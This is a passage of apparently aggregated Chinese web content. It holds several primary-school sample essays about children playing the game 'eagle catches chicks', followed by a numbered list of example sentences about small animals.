老鹰不甘示弱，趁鸡妈妈不注意的时候，从她的翅膀下钻了过去，小鸡们吓得四处乱跑，一只小鸡跑慢了一步，被老鹰抓住了。他们笑啊，跳啊个个满头大汗。 5. 母鸡与老鹰的作文600字 放学了，我和几个小伙伴一起玩“老鹰捉小鸡”，游戏开始了，只见狡猾的“老鹰”左突右闪，怎样都抓不到“小鸡”。这时，“老鹰”灵机一动，先假装往右跑，突然又往左跑，“母鸡”倒聪明，来了一个三百六十度的大转弯，把“老鹰”拒之门外，可我们后面的“小鸡”却反应不过来了，乱成一团，“老鹰”轻而易举地抓走了在我后面的谢成龙，这时，我前面的一只“小鸡”跑太快了，把我甩在了后面，“扑通”一声，我重重地摔了一跤，我想：一定不能被“老鹰”抓住。这时我看见“老鹰"正在往我这“扑来"，我飞快地向“母鸡”跑去，我暗自庆幸，躲过了这一劫。 这时，“老鹰”似乎要给自己助阵，大喊“亲爱的小鸡我来了！”母鸡想”“吃一堑，长一智，同样的错误不能再犯第二次。“这时，“老鹰 ”往右冲，“母鸡”认为“老鹰”不会再往左跑了，谁知，“老鹰”似乎有读心术，偏往左跑，这时候没等“母鸡”反映过来，后面的小鸡四处逃窜，不久，又有两位爱子被“老鹰”抓走了，“母鸡”痛哭流涕的。“老鹰”又发起了第三回合 的进攻，谁也没想到，由冠宇扮演的“母鸡”竟然把“老鹰”死死地抱住，让“老鹰”不能动弹，这使我明白了：伟大的母爱无处不在的道理。 你看，我们的课余生活多么丰富，多么精彩，多么让人难以忘怀！ 6. 老鹰抓鸡作文400字怎么写呀 老鹰捉小鸡 老鹰捉小鸡是一个玩之不厌的游戏，既好玩又有趣。只要有三个人以上就可以玩了，一个当老鹰，一个当母鸡，一个当小鸡，但是“小鸡”越多越好玩。 在一个阳光明媚的下午，母鸡带着她那可爱的小鸡们来到了草地上捉虫子。忽然，天空中出现了一只凶猛的“老鹰”，瞪着杀气腾腾的圆眼睛，张开了宽大的翅膀，伸出那尖锐的爪子，一副凶狠的样子，好像在说：“哈哈！这么多的小鸡，我可以饱餐一顿了，哈！哈。。。。。”“老鹰”如猛虎下山猛扑过去。“母鸡”展开翅膀，那炯炯有神的眼睛紧紧地盯着老鹰，心想：老娘不发威，当我是病鸡。想来吃我的宝贝，门都没有。“母鸡”叮嘱“小鸡”：“宝贝们别害怕，要跟紧了！”“小鸡”们一个紧跟地一个的后面，生怕被老鹰捉去了。 “老鹰”一看无机可乘，动起了歪脑筋，装出一副漫不经心的样子，好让“母鸡”放松警惕，没想到鸡妈妈根本不上当，一点都不掉以轻心。“老鹰“见一计不成又生一计，它装出要往左跑的样子，“母鸡”马上就往左跑了几步，“老鹰”又装出往右跑的样子。“母鸡”立刻跑到了右边，“老鹰”又装出往左跑的样子，可这回“母鸡”却没有跑，她认为这次“老鹰”又是装装样子而已。“老鹰”见有机可乘，一个猛冲，迅雷不及掩耳之势，一只“小鸡”成了它的美餐。“母鸡”唉声叹气，“小鸡”愁眉苦脸，旁观的同学们都哈哈大笑…… 我爱玩游戏，爱玩老鹰捉小鸡。 7. 母鸡 小鸡老鹰写一篇作文童话故事 学子斋>作文大全>小学作文>三年级作文>三年级老鹰捉小鸡作文时间：2014-06-28分类：三年级作文浏览：12810作文一：老鹰捉小鸡我的课余生活像七彩的图画，丰富多彩：种花、养小动物、看书……其中我最喜欢“老鹰捉小鸡”的游戏。 记得有一次，小刚当“老鹰”小红当“母鸡”，我和其他小朋友当“小鸡”。游戏开始了，首先“老鹰”发起第一次进攻，它跑到后面去捉“小鸡”，可是被“母鸡”牢牢地挡住了，第一次进攻失败了。 “老鹰”发起了第二次进攻，它灵机一动想出了一个法，它先假装往左跑，“母鸡”也往左跑，乘“母鸡”不注意的时候它往右跑去捉小鸡，结果捉住了一只“小鸡”。第二次进攻成功了，“老鹰”神气活现的，可是这让“母鸡”提高了警惕。 第三次进攻开始了，这回它更猛了，速度更快了。可“鸡妈妈”这回也死死地盯着“老鹰”，不管“老鹰”跑东还是跑西它都拦着它，不知跑了几个回合“老鹰”跑得满头大汗，气喘吁吁，坐在地上说：“我认输了。” “小鸡们”个个兴高采烈地叫着：“我们赢了，我们赢了！”这就是我的课余生活，是不是很有趣呢？。

　　在我们丰富多彩的校园生活里，我们玩过很多游戏，其中印象最深刻的游戏是老鹰捉小鸡。下面是由我为大家整理的“老鹰捉小鸡作文三年级300字”，仅供参考，欢迎大家阅读。 　　老鹰捉小鸡作文三年级300字（一） 　　这几天一直在家里写作业，没有时间下去玩，感觉好闷。现在终于完成作业，这下可以好好的玩啦！老师有说过人要经常运动，否则会对身体不好的。生命在于运动。 　　这时有个小朋友叫我到楼下去玩老鹰捉小鸡的游戏。我飞快的跑到楼下，看见有很多小朋友在一起，一个小朋友问：“现在可以玩了，谁来当老鹰？ ”我自告奋勇地说：“我来当老鹰。”有一个小朋友 说：“我来当鸡妈妈。”说完，小朋友就马上躲到“鸡妈妈”的身体后面去了。我说：“我要开始抓了。”没想到那只老母鸡口气还很大，说：“来就来，谁怕谁。只怕你一只也抓不到。”我马上开始抓小鸡了，我往哪边抓，老母鸡就往哪里拦。就在这时候，我趁他一不注意，我用最快的速度跑到鸡妈妈的后面抓了一只小鸡。我说：“哈哈，被我抓到一只小鸡了吧。还说我抓不到呢！怎么样啊！”“ 你再来啊！刚才是我不小心知道吗？”听到这话，我就想：你的嘴巴可真硬啊！输了还不承认，看我怎么抓你们。我连忙再去抓小鸡，那只老母鸡的反应不像刚才那样迟钝了，好长时间连一只小鸡都抓不到。这时，有一只小鸡掉队了，我终于把他抓住了。老母鸡气的头发都快着火了。我看他那生气的样子就觉得好笑，我说“不要生气了，玩的开心就可以了，抓没抓住又没关系，下次一定让你赢。这样你总高兴了吧！” 　　老鹰捉小鸡真好玩。这样既可以好好运动，也可以跟小朋友们增加友谊。 　　老鹰捉小鸡作文三年级300字（二） 　　　　今天，我、妈妈和爸爸来老鹰捉小鸡。第一盘，爸爸是老鹰，妈妈是母鸡，而我——便是躲在“母鸡”妈妈身后的“小鸡”了。 　　开始了，只见爸爸眼睛转了转，好像想到了什么鬼点子，便先向西走了几步，然后又以迅雷不及掩耳之势跑到了我旁边，捉住了我。这时，我才知道他来了个声东击西。 　　轮到我当母鸡了，爸爸是小鸡，妈妈是老鹰，她也来了个声东击西，但是，我吸取了刚才的教训，挡住了她那“锋利”的“爪子”。我想：我到要看看你还会耍什么花招。妈妈便一直向东跑，转着圈，把我转的晕呆了。但是，我还是镇定了下来。妈妈见没有什么效果，便又施了一计。这时，妈妈便向西跑了跑几圈，我心想：她要跑，我就跟她一起跑吧！我以为她会一直跑下去，谁知，她跑了一半就停下来了。可是我没来的急“刹车”，爸爸正好站在妈妈面前，她便把爸爸给捉住了。 　　我当老鹰时好惨，连一根“鸡毛”都没碰到。 　　下次，我还要玩一玩这个游戏的。 　　老鹰捉小鸡作文三年级300字（三） 　　下课了，同学们像潮水一样冲出教室，到操场上玩“老鹰抓小鸡”的游戏。 　　游戏开始了，这只“老鹰”可凶猛了，他看见“鸡群”在他家门口玩耍，皱起了眉头，眼里闪着凶狠的光芒。恶狠狠地说：“哈哈！你们这些鸡敢到我的地盘撒野，我要和你们切磋切磋！”说完，就向鸡群扑去。他一会儿左扑，一会儿右追，鸡群们吓得魂都没了。 　　“鸡妈妈”赶紧张开双翅，对小鸡们说：“孩子别怕，有我在，‘老鹰"动不着你一根毫毛！”说着，他死死地护着小鸡，“老鹰”往左，“鸡妈妈”也敏捷地往左。经过“老鹰”的努力，终于抓住了一只又肥又嫩的“小鸡”。“鸡妈妈”只能眼睁睁地看着老鹰带战利品“飞”走了。 　　上课了，同学们依依不舍地离开了操场。 　　老鹰捉小鸡作文三年级300字（四） 　　我玩过很多游戏，其中我最喜欢的游戏就是“老鹰捉小鸡”。 　　“老鹰捉小鸡”的游戏规则是：其中有一名当“鸡妈妈”和一名“老鹰”，其余的当“小鸡”。“老鹰”主要是捉“小鸡”，而“鸡妈妈”则是负责保护“小鸡”，一共需要4到6人参加。 　　我邀请了我的小伙伴，一共6人。我们用石头、剪刀、布的方式选出了“老鹰”和“鸡妈妈”。游戏开始了，“老鹰”向“小鸡”抓来，“鸡妈妈”用胳膊挡住了“老鹰”。“老鹰”开始了第二次进攻，结果又被“鸡妈妈”挡住了。“老鹰”趁“鸡妈妈”不备，抓住了一只“小鸡”。“鸡妈妈”有了戒心，防守的更严了，“老鹰”看捉不到“小鸡”就想了一个办法，“老鹰”不停地做鬼脸，逗得“小鸡”哈哈大笑，接着“老鹰”就捉了一只又一只，结果所有的“小鸡”都被抓住了。 　　我觉得这个游戏很好玩，我下回还要玩。 　　老鹰捉小鸡作文三年级300字（五） 　　老鹰捉小鸡，这个“经典”的游戏，大家应该都玩过，没玩过就真的“落伍”了，今天，我和伙伴们一起玩了这个既古老又经典的游戏。 　　“大家小心！”“母鸡妈妈”大声叫道。“母鸡妈妈”展开双臂，与老鹰周旋着。“母鸡妈妈”见势不妙，立即下令：“全体小鸡蹲下！”“老鹰”便像一只丢了美食的老虎，看着到手的“美食”飞走了，“它”立刻实行了守株待兔的计划。“母鸡”看着四周已经非常“安全”，便说：“起来！”“老鹰”顿时满血复活，可能因为老鹰一时兴起，三下五除二捉走了1只小鸡。 　　不知不觉，我们在欢笑中结束了这场游戏。

（1）没有时光和精神的话，不要乱表爱心养小动物，怠慢它们同样是种残暴，固然我懂得你很寂寞须要一个伴。 （2）松鼠是一种美丽的小动物。它玲珑的小面孔上，嵌着一对闪闪发光的小眼睛。一身灰褐色的毛，光滑得好像搽过油。一条毛茸茸的大尾巴总是向上翘着，显得格外漂亮。 （3）冬天，很多小动物都冬眠了，但小河依然没有睡。小河的上面盖了一层冰[zaojv小动物造句]，人鱼儿不再忍受冬天的寒冷。 （4）没有时间和精力的话，不要乱表爱心养小动物，怠慢它们同样是种残忍，虽然我理解你很寂寞需要一个伴。 （5）山上有许多可爱的小动物，小鸟在天空中自由自在的飞翔，小猴子在树枝间蹦来跳去，小松鼠拖着一条蓬松的大尾巴在树上玩游戏。 （6）当白雪覆盖大地时，小动物们都不想出来玩了，就连爱唱歌的小鸟也躲在家里。我站在家里的阳台上看着洁白的大地、洁白的天空，地上的脚印转眼就给积雪掩埋了，阳台的窗沿上也落了不少雪花，南京的冬天可比南昌冷多了。 （7）我喜爱的小动物，就是奶奶家养得一只八哥，它三岁了，它全身羽毛黑亮黑亮的，就像穿了一件黑皮袄，所以大家都叫它小黑。小黑的眼睛圆圆的就像两颗发光的宝石，一眨一眨的，可机灵了。 （8）猫是人们宠爱的小动物，它温驯，活泼，可爱，能捉老鼠，博得主人的欢心。 （9）我喜欢的小动物是一只小狗，它全身长满白色的毛，像一团棉花糖；眼睛是圆溜溜的，像两颗大宝石镶嵌在一对弯弯的眉毛下；耳朵是半圆形，鼻子是黑色，尾巴短短的，很可爱。 （10）我喜欢的小动物是一只小狗，它全身长满白色的毛，像一团棉花糖；眼睛是圆溜溜的，像两颗宝石；耳朵是半圆形，鼻子是黑色，尾巴短短的，很可爱。 （11）松鼠是一种美丽的小动物，很讨人喜欢。它四肢灵活，行动敏捷。玲珑的小面孔上，嵌着一对闪闪发光的小眼睛。身上灰褐色的毛，光滑得好象搽过油。一条毛茸茸的大尾巴总是向上翘着，显得格外漂亮。 （12）冬天的大自然给大地铺上了洁白的地毯，让小动物温暖的冬眠，白色的雪花流露出它那清淡、纯洁的主调。这寒冷的冬天给了我启示：人生在世，只有经过严峻的考验，才会获得最美好的东西。 （13）兔子是常见的小动物，既活泼又机灵。它有一身雪白的衣服，一对长长的耳朵，一双红宝石般的眼睛，三瓣嘴lishixinzhi.，灵活的四肢。 （14）世界上的小动物很多很多，有狗、猫、鸟、鱼……可是我最爱的还是那只可爱的小兔乖乖了。小兔乖乖的毛，雪白雪白，摸上去是那样的光滑、柔软，真的是好惹人喜爱的哦！它那长长的耳朵上，布满了血丝。 （15）松鼠：松鼠是一种美丽的小动物，很讨人喜欢。它四肢灵活，行动敏捷。玲珑的小面孔上，嵌着一对闪闪发光的小眼睛。身上灰褐色的毛，光滑得好象搽过油。一条毛茸茸的大尾巴总是向上翘着，显得格外漂亮。 （16）小动物们都在享受夏天，繁育后代，蝴蝶翩翩起舞，蜻蜒游戏水上，蜜蜂采集蜂蜜，真是一个浪漫的夏天。 （17）夏天，校园里池塘的荷花绽开了粉红色的脸蛋，特别招引小动物和人们。小蝌蚪在荷花姐姐旁讲故事呢！小青蛙也过来凑热闹：呱，呱，呱唱着动听的歌曲。夏天很美呀！ （18）四季的风，最可爱的要算是和暖的春风了。春风像慈母的手扶摸着大地，小草被春风吹翩翩起舞，好看极了；小动物也被春风吹得浑身舒服；农民们在春风吹拂下开始撒播种子，为将来美好的收获而工作。 （19）每年的冬至过后，天气会更加寒冷，花草树木收起了笑脸，小动物都躲起来，进入了自己的窝巢，有的开始了冬眠。人们穿上又厚又暖的羽绒衣，候鸟们都飞到温暖的南方去了，一年四季最寒冷的日子来临了。 （20）听着鸟鸣、流水声、树叶的摩擦声汇集成的大自然的歌曲，品味着纯天然的香甜可口的野果，脑中再想象着小动物在大自然中自由自在、快快乐乐地嬉戏玩耍的生机勃勃的景象，你就真正地与大自然融合在一块儿了。那时，烦恼什么的早已飘到了九霄云外，你只会享受到来自大自然的真正的欢乐！ （21）冬至过后，天气渐渐变冷，花草树木收起了笑吟吟的脸儿，小动物缩成一团，躲进了自己的窝巢，人们穿上又厚又暖的棉袄，候鸟们都飞到温暖的南方去了，一年四季中，最冷的日子来临了。 （22）时而有一阵阵秋风吹来，大海便卷起了浪花，浪花的形状千姿百态：有时形成小兔子；有时变成小老虎；又有时让龙栩栩如生……而大海却像美丽温和的母亲，把这些可爱天真的小动物们紧紧地、紧紧地抱在怀里，使它们感觉到自己是多么幸福…… （23）我怀着和欣赏春天不一样的心情，来观赏秋天的景色。我的家乡秋天天气总是很晴朗，天空一碧如洗，秋高气爽，天高云淡，白云有时变成可爱的小动物，有时变成了白白的棉花，真令人心旷神怡。 （24）春季，一片生机勃勃，万物复苏，春意盎然。瞧，随着“春姑娘”的到来，可爱的小动物们都蹦蹦跳跳的跑出来了，孩子们也笑奔跑出来了，与风筝一同享受春的乐趣。 （25）秋天的云像位魔术大师，一会儿变成一对恋人拥抱在一起，一会儿变成一群小动物们快乐地唱歌跳舞，一会儿变成一条条小鱼，一会儿…… （26）这些云彩就像一位魔术师，有时将自己变成飞腾的骏马，有时将自己变成可爱的小兔，有时将自己变成凶狠的大灰狼，有时……这么多小动物在“舞台上”，仿佛在表演精彩的节目。 （27）我的家乡在五丈原，原下有一条石头河，石头河的水清澈见底，河里有螃蟹。乌龟。小鱼等许多小动物。 （28）你瞧，花草们就像刚洗过澡，换上了一身鲜艳的新衣裳，显得那么生机盎然。刚才消失得无影无踪的小动物们，也从四下里跑出来了，它们似乎要争着呼吸一下这雨后特别清新的空气。于是，世界又喧闹起来。 （29）你知道爱心是什么吗？没错，爱心，是给在街头乞讨的人一元钱；是给无家可归的小动物们喂食；是为灾区人民献上自己的一份心意…… （30）最吸引我的是火烧云。它披着火红的衣裳，在天空中好似火红的带子。它那火红的余晖，把树木，花草，小动物都变成火红的了，就连我自己也变红了。